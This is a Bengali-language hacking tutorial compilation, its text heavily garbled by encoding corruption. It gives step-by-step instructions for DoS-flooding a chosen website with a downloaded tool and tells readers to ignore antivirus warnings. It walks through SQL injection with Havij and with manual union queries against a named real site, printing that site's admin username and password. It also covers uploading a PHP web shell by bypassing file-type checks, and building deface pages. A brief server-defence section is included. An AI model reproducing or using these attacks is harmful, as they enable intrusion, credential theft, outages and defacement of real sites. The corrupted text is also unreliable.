কতকনত DoS যাটাক টা চছে কতনচছচয ভত

অয DDoS যাটাক চছে কতনচছচয কতচচছতরয ভত

D0S DDoS attack এয কাযন কতক

২ টা কাযচছন DoSDDoS যাটাক চছয থাচছক ১) যাকায এয কভতরচছফ থফা ২) sysadmin এয বার ভতরফ এ

অন সদচছখ সনআ সক কতক কাযচছন যাটাক কচছয থাচছক

১) যাকাযচছদয কভতরফ

খফআ নাটকীয উাচছয আ াবব ায এ কতনচছজয কতডকতজটার পটকতপরনট ঢাকায জনয আ াবব ায সক সফাকা ফানানয উচছেচছ

ফ সথচছক যাতন ভানকতফক সদাল যাগ থফা সকরাধ সথচছক কতফনা কাযচছন

যত যাকায আ াবব ায এ একটা সটরাজান আনসটর কচছযচছছ কতকনত তা একটিব কযচছত একটা কতযোটব রাগচছফ তায জনয এআ যাটাক

থফা শধ ভাতর একজন কতিপট কতককতড কতনচছজয ভকতনসযানা সদখাচছনায জনয

থফা কতনতানতআ পরযাকটি এয উচছেচছ

২) sysadmin এয বার ভতরফ

নতন সকান যাচ অচছডট থফা আনসটর কযা চছর তায কতসথকততীরতা যীকষা কযায উচছেচছ

াবব ায এফং কতচছেভ এয বারনাকতফকতযকতরটি ফা বেযতা সক যীকষা কযায উচছেচছ

কতচছেভ এয যানযাচছয সপরাগরাভ এয তরটিয কাযচছন

DoS DDoS কতকবাচছফ াবব ায এয ১২ টা ফাজায

DoS DDoS াধাযনত ২ বাচছফ াবব ায এয কষকতত কচছয থাচছক ১) াবব ায সক করযা ককতযচছয ২) াবব ায সক ফলাড ককতযচছয

ড যাটাক এয কভন কামবপরণারী গচছরা চছে -

কতফকতবনন যকভ কতযচছাব গচছরা সমভন ফযানডউআথ পরচছয টাআভ কতডসক সসপ আতযাকতদ ফযসত যাখা

কনকতপগাচছযন আনপচছভবন সমভন রটিং আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা

সেট আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা

কতপকতজকার সনটযাকব এয কতফকতবনন ং গচছরাচছক ফযাত কচছয কতফঘন কযা

াধাযণ আউজায এফং াবব ায এয সবতয সমাগাচছমাগ কতফকতছনন কযা সমাগাচছমাগ সথান কযচছত ফাধা সদযা সভকতন এয ভাআচছকরাচছকাড গচছরাচছত এযয সদখাচছনা পরচছয এয ফ কষভতাচছক ফযফায কচছয নতন সকান কাজ শর যা সথচছক কতফযত যাচছখ

--------------------------------------------------------------------------------------------------------------------------------------

----------------------

অর ং DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ কতকবাচছফ DdoS যাটাক কযফ

Ddos এটাক চছে চছযফ কতচছেভ ডাউন কযায একটি িকতত ফাআ কতভচছর কাজ কযচছর সমচছকান ফাঘা ফাঘা াআট ডাউন কচছয সদযা মায কতফসতাকতযত এখন ফরকতছ না শধচছদচছখ মান কতক কতক কযচছত চছফ চছনক বাচছফআ DdoS যাটাক কযা মায তচছফ অকতভ নফ সেনডকতর নতন সদয জনয জ িকতত টাআ এখাচছন অজ সদখাফ কতনচছচয ধাগচছরা নযন করন তাচছর খফ চছজআ সম সকউ াযচছফন ড যাটাক কযচছত

পরথচছভআ সদখচছত চছফ অভযা সম াআট টাচছত ড যাটাক কযফ তায াবব ায ড যাটাচছকয কাচছছ ায ভানচছফ কতকনা এফং এয অআকত কত

এটা সদখায জনয পরথচছভ httpuptimenetcraftcom এআ কতরচছে মান এফং সম াআট টা অকরভন কযচছত চান তা কতনচছচয সদখাচছনা কতচচছতরয ভত কচছয কতনকতদব ি ফকস এ কতরখন

এফাযাচব সযজাি অচছর কতনচছচয কতচতর সত সদখাচছনা ২ টা ং রকষয করন পরথভটি অভাচছদয সক ফরচছফ আ কতনকতদব ি াআট টি ড যাটাক এ কাফ চছফ নাকতক অয ২যটি থবাৎ অআকত যাচছে টা একটা সকাথা কতরচছখ যাখন

রকষযকরন Apache1327 ( Unix) সরখা টি এটা আ কতনকতদব ি াআট এয াবব ায এখাচছন মকতদ কতনচছচয ৩ টায সমচছকাচছনা একটা সদচছখন তাচছর ফঝচছফন সম এআ াআট এ ডযাটাক কচছয পরাপর াযা মভফ

Apache 1x Apache 2x

GoAhead WebServer

---------------------------------------------------------------------------------------------------------------------------------------

---------------------

এফায শর চছয মান অর সখরায জনয DoS কতক DoS যাটাক কতক সকন কতকবাচছফ

পটযযাযটি ডাউনচছরাড ফা এটি কতনচছয কাজ কযায অচছগ অনায কতকতয একতনটবাআযাচছয সপরাচছটকন প যাখন

এটিচছক অনায একতনট বাআযা সটরাজান ফা বাআযা কতাচছফ কতডচছটকট কযচছত াচছয তচছফ বয নাআ এটি সকান বাআযা ফা সটরাজান নয কতনবব চছয আউজ করন

পটযযাযটি পরথচছভ কতনচছচয কতরে সথচছক ডাউনচছরাড কচছয কতনন এফং Extract করন

httpwwwmediafirecomfamiivi799a9459

পটযযাযটিডাফর কতিক কচছয চছন করন মাচছদয উআচছনডাজ ৭ তাযা পাআচছর যাআট কতিক কচছয Run as

administrator এ কতিক কচছয চছন করন কতনচছচয ভত উআচছনডা অচছফ

১ URL ফচছকস সম সকান াআচছটয নাভ সরখন

(ফাআ কতভচছর একটি াআট কতচছরকট কযচছত চছফ কতচছের এটাচছক াআচছটয কতকছআ চছফ না ট াআচছটয কতরে httpwwwalexacomtopsites এখান সথচছক াচছফন তাআ ফাআ কতভচছর একটি াআট কতচছরকট করন সমটিচছক ডাউন কযচছত চান)

২ lock on কতচছরকট করন

৩ সদখচছফন অআকত রক চছয কতগচছযচছছ

৪ কতচতর এয ভত কচছয http কতচছরকট করন

৫Threads ফকস এ 1000 টাআ করন

৬ এফায EMMA CHARGIN MAH LAZER ফাটনটি সত কতিক করন

৭ ফলাকতডং শর চছয মাচছফ

------------------------------------------------------------------------------------------------------------------------------------------------------------ DoS DDoS এয সথচছক ফাচায উায কতক

ফাচায জনয পরথচছভ অনাচছক জানচছত চছফ অকতন অকরানত কতকনা অয তা সফাঝায জনয সখযার করন

১ যাচছকট র চছে কতকনা থফা কততকতযি ভাতরায াবব ায সরটকযচছছ কতকনা রযাগ চছে কতকনা ২) কততকতযি াবব ায সরাড অনায াবব ায এয াচছথ ংমি কাচছনকন গচছরাচছক সচক কযায জনয CMD সথচছক কতনচছচয কভানড টি কতরখন

netstat -ntu | awk lsquoprint $5rsquo | cut -d -f1 | sort | uniq -c | sort -n

মকতদ সদচছখন সকান একটা কতনকতদব ি থফা কাছা কাকতছ অআকত সথচছক ১০০ + কাচছনকন চছযচছছ

তচছফ ফচছঝ কতনচছফন সম খফয খাযা icon sad

এফায অকত কতকবাচছফ অনায াবব ায সথচছক একটা অআকত সক ফযান কযচছফন hellip

মকতদ অনায াবব াচছয APF firewall আনসটর কযা থাচছক তচছফ CMD সত কতরখন

apf -d xxxxxxxx

মকতদ CSF firewall আনসটর কযা থাচছক তচছফ কতরখন

csf -d xxxxxxxx

অয মকতদ দচছটায একটা না থাচছক এফং অকতন মকতদ শধ iptables আউ কচছযন তচছফ কতরখন

iptables -I INPUT 1 -s -j DROP xxxxxxxx

উচছেখ এখাচছন xxxxxxxx এয সথচছর সম অআকত টা ফযান কযচছত চান তা ফচছফ

তচছফ ফচছর যাখা বার অকতন কতনচছজ ফভযআ াবব ায এ ফচছ থাকচছত াযচছফন না এফং এয যত ার এয খফয যাখচছত াযচছফন না

এয জনয অনাচছক অনায সাটিং এয উয কতনবব য কযচছত চছফ এভন কাচছযা কাছ সথচছক সাটিং কতনচছত চছফ মাযা ফভয সডকতডচছকচছটড ড যাটাক াচছাটব সদয

এছািা অচছযা কতগচছরা কতফলয অচছছ সমগচছরায উয সখযার যাখচছরআ াধাযন ড কতডড যাটাকচছথচছক ফাচচছত াযচছফন খফ চছজআ অন সদচছখ সনআ সগর সকভন

াবব ায সভকতন এয যকষা কতনকতশচত করন ফায অচছগ

চছনকভয সদখা মায যাকায যা সম াবব ায সক যাটাক কযচছত চায সটা সকআ ফায অচছগ সছাটট একটা নাননা ভননা সটরাজান কতদচছয ধযাাযী কচছয যাচছখ

পরাপর ড যাটাচছকয ভয াবব ায কতনচছজ কতনচছজয কতফরচছি কাজ কযা শর কচছয অনাচছক কতনকতশচত কযচছত চছফ াবব ায কতনচছজ সমন ফ কতদক সথচছক যকতকষত থাচছক

এযজনয মথা সকান সনোআব সথচছক সকান ডাটা টরানসপায কযচছফন না যকতকষত াআট ঘযাঘকতয কযচছফন না কতনকতশচত তর সথচছক পরাি সকান পাআর যাকতয চছনকযচছফন না

সকান সকান সাটব গচছরা চছন যাখা জরকতয তা সজচছন কতনন মথা পরচছযাজনীয সাটব সখারা সযচছখ ঝাচছভরা ফািাচছফন না

অনায সকান সকান াবব ায সাটব সখারা যাখা উকতচত তা সজচছন কতনচছত ভাআচছকরাপট এয Microsoft Knowledge Base (KB)

অটিব চছকর 150543 চছত সজচছন কতনন

httpsupportmicrosoftcomdefaultaspxscid=kben-us150543ampsd=tech

াচছযটিং কতচছেভ এয কতডপি কতকযকতযটি সথচছক চছফবারচ পাযদা কতনন

উআচছনডাজ াচছযটিং কতচছেভ ফযফায কযচছর কতচছেভ পাআর সচকতকং [ System File Checking ( SFC) ]

এফং আনটাযচছনট কাচছনকন পাযাযযার [ Internet Connection Firewall ( IFC ) ] এনাচছফর কচছয কতনন এগচছরা কতকনত কতডপি বাচছফ কতডজযাচছফর কযা থাচছক

এগচছরা অনায াবব ায কতচছেভ এয কতপিাকতযং াযপচছভবনস ঠাৎ কচছয ফহগন ফাকতিচছয কতদচছফ

কাচছনকটিকতবটি ককতভচছয কতদন

অনায াবব ায এয াচছথ সমাগাচছমাগ ফা কাচছনকন সথান কযায জনয খফ কতনকতদব ি কতকছ সাটব কতচছরকট কচছয কতদন মাচছত কচছয াবব ায

এফং কাচছনকটিং কতচছেভ দচছটাযআ পাযাযযার িণব ফযাায তা ধযচছত াচছয উদাযণ সবর HTTP SMTP FTP IMAP

এফং POP সাটব গচছরা কতচছরকট করন অনায াবব ায এয াচছথ কাচছনকন এয জনয কতনযধাকতযত সাটব গচছরা

এগচছরা চছনক যকতকষত এফং কতনকতশচত icon smile

পাযাযযার ফযফায করন

উআচছনডাজ এয পাযাযযার মচছথি বার কতকনত মবাি বার না এয জনয অকতন নয পাযায যার ফযফায কচছয সদখচছত াচছযন

এচছত কচছয আনফাউনড অউটফাউনড ফ ধযচছনয কাচছনকন এয উয খফ চছজআ অকতন সচাখ যাখচছত াযচছফন

এফং অনায কতচছেভ াবব ায যকষা সফচছি মাচছফ চছনক গচছন কতগর বার পাযাযযার এয ঠিকানা অকতভ এখাচছন কতদচছয কতদকতে সদচছখ কতনন

httpwwwsymanteccomindexjsp httpwwwsymanteccomindexjsp httpwwwzonealarmcom httpwwwcomodocom

এছািা DoS DDoS attack রযন এয াাময সনযা মায সমভন RioRey

সািটি - pirate_king এফং শভর অকাgtgtgtgtgtএয সাে সথচছক একতডট কযা চছযচছছ

heartsheartshearts Havij

SQLi টিউমটাসরো heartsheartshearts

Download

Havij 15 Pro httpwwwmediafirecoms7a89dxmfwxcyij

পরথচছভ GoogleCom এ মান

এফায কতনচছচয গগর ডকটি কতরচছখ াচব কতদন

inurlphpid=

তাচছর চছনকগচছরা পরাপর সদখাচছফ

এখাচছন চছনক Dork াচছফন httppastebincomDvnHxg7i

সদখন পরাপর সদখাচছে ldquoপরায 2010000000টি পরাপর(023 সচছকনড) rdquo

এফায সম সকান একটি াআচছট পরচছফ করন

এছািা অকতন সম সকান াআট ধযচছত াযচছফন সম ফ াআচছটয য phpid= অচছছ সআ ফ াআচছট াযচছফন সমভনঃ

httpwwwpaulprescottcomthemephpid=10

অভযা এআ াআটটিচছক টাচছগবট কযরাভ

এফায অনায টাচছগবট কযা াআচছটয কতরংচছকয সচছল সদচছখন এভন একটা অচছছ ID=XX এখাচছন XX এয জাযগায সমচছকান নং অচছছ সমভন অভায এখাচছন অচছছ ID=10

এফাযয এআ কতরংচছকয সচছল একটা ( lsquo ) রাগান

এফায এনটায কতদন

এফায মকতদ উচছযয ভচছতা Error সদখায তাচছর ফঝচছফন সম াআটটিচছত inject কযা মাচছফ

এফায ldquoHavijrdquo টরটা চছন করন তাচছর কতনচছচয ভচছতা অচছফ

এফায Error াযা াআটিয কতরংকটি এখাচছন সদন ldquoAnalyzerdquo ফাটচছন কতিক করন (উচছযয কতচতরটি সদখন) এফায কতকছকষণ চছকষা করন তাচছর টরটি চছযফাআটটি যীকষা কযচছফ

মকতদ কাজ য তাচছর এআ যকভ ভযাচছজ কতদচছফ

Current DB XXXX

কতনচছচয ছকতফটি সদখন

এফায ―Tables tab এ মান

এফায ―Get DBlsquos এ কতিক করন

এফায ফাভাচছয যাচছনচছর সদখন ২টা ডযাি পাআর াযা সগচছছ ―paul_third ―information_schema

দটা পাআর

―information_schema অনায ধযায দযকায নাআ এখাচছন MySQL তথয থাচছক

শধ ভাতর ―paul_third কতচছরকট করন

এফায ―Get Tables এ কতিক করন

তাচছর অকতন সটকতফচছরয ডযাি পাআরগচছরা সচছয মাচছফন

এখন অভযা administration panel টি যাক কযচছত সচিা কযফ

এখন ―admin table টি সচক করন

এখাচছন ভাতর ১ জনআ আউজায াচছফন মকতদ অকতন সকান আউজায না ান তাচছর অকতন এখাচছন যাক কযচছত াযচছফন না

এফায ―Get Columns ফাটচছন কতিক করন

তাচছর কতনচছচয ভচছতা অচছফ

এখাচছন ―id ―username ( সম Username কতদচছয চছযফাআচছট রগআন কচছয ) ―password ( সম Password কতদচছয চছযফাআচছট রগআন কচছয) ―email (এডকতভন সম সম আচছভআর কতদচছয সযকতজঃ কচছযচছছ কাজ কচছয)

এফায ―Get Data টযাচছফ কতিক করন

তাচছর টরটি অনাচছক Username Password আচছভআচছরয তথযগচছরা সদখাচছফ

অফায ―Find Admin টযাচছফ কতিক করন

তাচছর এটি অনাচছক Administration Panel login সদকতখচছয সদচছফ

এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয

তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না

ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন

এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ

তাচছর অভযা Administration Panel সরাভ

এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন

মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade

সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা

তাচছর কথা না ফাকতযচছয শর ককতয

পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ

এয জনয অভযা dork use কযফ

inurlindexphpid= inurltrainersphpid=

inurlbuyphpcategory= inurlarticlephpID=

inurlplay_oldphpid= inurldeclaration_morephpdecl_id=

inurlPageid= inurlgamesphpid=

inurlpagephpfile= inurlnewsDetailphpid=

inurlgalleryphpid=

এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয

8500 SQL dorks list

httppastebincomdzknXjgP or

httppastebincomayV6tNS2

পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ

inurlnews-and-eventsphpid=

এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ

সমভন httpwwweastodissaacinnews-and-eventsphpid=22

ছকতফঃ

পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য

এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা

এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ

httpwwweastodissaacinnews-and-eventsphpid=22

মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable

সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the

right syntax to use near rdquorsquo at line 1Prime

ছকতফঃ

এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ

এখাচছন অভাচছদয বানবাফর াআট

httpwwweastodissaacinnews-and-eventsphpid=22

মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+

এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ

এখন 1 কতনচছয সদচছখন

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--

না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না

অফায 2 কতদচছয সচিা ককতয

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--

ছকতফঃ

না এফায ডাটা কতভ কযচছতচছছ না

এফাচছফ 345 কচছয 7 মবনত সগরাভ

8 এ সগচছর চছযা াআট SQL আযয সদখায

(চছনক ভয সদখা মায

wwwsitecomindexphpid=1 order 999ndash [ no error ]

থবাৎ order by 999 কতদচছর সকান error সদখায না

এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ

তাচছর িণব কতরেটি চছফ

wwwsitecomindexphpid=1prime order by 999ndash+

এফায সচছজ error সদখাচছফ

ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--

ছকতফঃ

আযয এযকচছভয চছত াচছয

Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo

থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি

এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ

কভানড টি

+union+select+1234567--

তাচছর কতরংক টি দািাচছফ

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--

ছকতফঃ

( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (

এখন অকতন বানবাফর করাভ সদখচছত াচছফন

এআ াআচছটয বানবাফর করাভ 23সদখাচছফ

এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা

এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা

এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ

এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--

ছকতফঃ

এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা

এটায বাবন 5168-community

বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন

এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ

এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য

+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা

তাচছর কতরংকটি দািাচছরা

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem

a=database()--

কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন

ছকতফঃ

এআ াআচছটয সটকতফর গচছরা র

est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio

nest_placementrecord

এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ

এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায

একভাতর est_admin এডকতভন সটকতফর ভচছন য

ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ

কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ

এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ

এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায

httpsaddonsmozillaorgen-USfirefoxaddonhackbar

এখন যাকফায টি চছন কচছযন F9 সচচছ

এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন

ছকতফঃ

নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন

ছকতফঃ

এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH

AR(101 115 116 95 97 100 109 105 110)--

ছকতফঃ

অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন

সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ

uiduseridpasswordemailidsignaturelast_login

এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা

এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ

এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা

সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন

করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ

এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ

এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ

+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--

ছকতফঃ

সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন

এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013

আউজাযচছভভ trustadmin

াযাডব isti$$952013

এখন সল কাজ চছে এডকতভন সচছনর সফয কযা

এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ

মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন

-httpscansubhashdasyamcomadmin-panel-finderphp

অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয

অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন

তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন

httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player

কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না

অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না

কতরচছখচছছনঃ ফারক িঅহমমদ

অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ

াগমবিঃ

Mozilla Firox ভকতজরা পাযাযপকস

Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক

httpsaddonsmozillaorgenfirefoxaddonlive-http-headers

shell সম সকান সর ফযফায কযচছত াচছযন

কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell

httpwwwpastebucketcom19852

or

wwwmediafirecom64fjdlvzo9zhrra

shell username and password

username I-47

password I-47

তাহম এেি শর কসর

১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর

করণ

২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg

৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ

৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন

৫save click কচছযন

৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন

১এখন কতিক করন 47phpjpgচছয কতিক করণ

২ Reply ফাটন

৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত

৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক

২ Reply ফাটন

এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ

এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ

wwwsitecomgallery37473jpg

এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php

এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ

Video Tutorial

httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube

কতরচছখচছছনঃ ফারক িঅহমমদ

কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা

--==DefacePage Generator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন

১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r

২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন

সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif

৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন

এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave

as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files

কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml

--==Advance Deface Page Creator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

Tutorial -

পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন

এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ

এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ

এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন

Add Homepage title and texts এ কতিক করন

এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন

সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন

সরখা সল চছর চছক কচছয কতদন

এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন

সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html

--==অকতনমকতদ HTML াচছযন==--

অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন

Collection -bcaware

httpwwwtunerpagecomarchives78980

httpwwwtunerpagecomarchives98804

httpwwwtunerpagecomarchives219088

httpwwwtunerpagecomarchives224434

---------------------------------------------------------------------------------------

